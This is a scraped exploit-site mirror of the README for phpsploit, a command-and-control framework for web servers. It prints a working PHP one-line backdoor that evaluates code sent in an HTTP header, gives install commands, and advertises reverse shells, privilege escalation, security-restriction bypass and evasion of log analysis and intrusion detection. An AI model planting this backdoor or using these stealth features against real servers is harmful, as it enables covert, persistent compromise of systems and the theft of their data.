Exploit for phpsploit

## https://sploitus.com/exploit?id=KITPLOIT:6442840122301524427
![Master](https://assets.kitploit.com/production/public/readmes/320/7b4a93ddba3010329d62bd70bc4a853f0a41045c2f9137b733b679dbc0dd1563.png)

###  Full-featured C2 framework which silently persists on   
webserver via polymorphic PHP oneliner  ![tweet](https://img.shields.io/twitter/url?label=tweet&logo=twitter&style=social&url=http://0)

  


![Unit Tests workflow](https://img.shields.io/github/actions/workflow/status/nil0x42/phpsploit/unit-tests.yml?label=tests&logo=githubactions) ![Dependabot status](https://img.shields.io/badge/dependabot-ok-aaf?logo=dependabot&logoColor=aaf) ![codacy code quality](https://img.shields.io/codacy/grade/f8514058aec04ad98727c79701bc042a?logo=codacy&logoColor=green) ![CodeQL workflow](https://img.shields.io/github/actions/workflow/status/nil0x42/phpsploit/codeql-analysis.yml?label=codeql&logo=lgtm&logoColor=ff0&color=af8) ![codecov coverage](https://img.shields.io/codecov/c/github/nil0x42/phpsploit?color=orange&label=coverage&logo=codecov) codeclimate maintainability 

![](https://awesome.re/mentioned-badge.svg) ![](https://img.shields.io/static/v1?label=Kali%20Linux&message=packaged&color=red&logo=kalilinux&logoColor=ff0) ![](https://img.shields.io/static/v1?label=BlackArch&message=packaged&color=red&logo=archlinux&logoColor=006) ![](https://img.shields.io/twitter/follow/nil0x42.svg?logo=twitter)

Created by nil0x42 and contributors

  


* * *

![](https://assets.kitploit.com/production/public/readmes/320/aca304368ddb35833ee8b1f57c068ae36288119afb0ed79979c3d0a04757b2c7.png)

#### Overview

The obfuscated communication is accomplished using HTTP headers under standard client requests and web server's relative responses, tunneled through a tiny **polymorphic backdoor** :

root@kitploit:~
    
    
    <?php @eval($_SERVER['HTTP_PHPSPL01T']); ?>
    

* * *

#### Quick Start

root@kitploit:~
    
    
    git clone https://github.com/nil0x42/phpsploit
    cd phpsploit/
    pip3 install -r requirements.txt
    ./phpsploit --interactive --eval "help help"
    

* * *

#### Features

  * **Efficient** : More than 20 plugins to automate privilege-escalation tasks

    * Run commands and browse filesystem, bypassing PHP security restrictions
    * Upload/Download files between client and target
    * Edit remote files through local text editor
    * Run SQL console on target system
    * Spawn reverse TCP shells
  * **Stealth** : The framework is made by paranoids, for paranoids

    * Nearly invisible by log analysis and NIDS signature detection
    * Safe-mode and common _PHP security restrictions bypass_
    * Communications are hidden in HTTP Headers
    * Loaded payloads are obfuscated to _bypass NIDS_
    * http/https/socks4/socks5 **Proxy support**
  * **Convenient** : A robust interface with many crucial features

    * Detailed help for any option (`help` command)
    * _Cross-platform_ on both client and server.
    * CLI supports auto-completion & multi-command
    * Session saving/loading feature & persistent history
    * Multi-request support for large payloads (such as uploads)
    * Provides a powerful, highly configurable settings engine
    * Each setting, such as user-agent has a _polymorphic mode_
    * Customisable environment variables for plugin interaction
    * Provides a complete plugin development API



* * *

#### Supported platforms (as attacker):

  * GNU/Linux
  * Mac OS X



#### Supported platforms (as target):

  * GNU/Linux
  * BSD-like
  * Mac OS X
  * Windows NT



## Contributors

Thanks goes to these wonderful people:

This project follows the all-contributors specification. Contributions of any kind welcome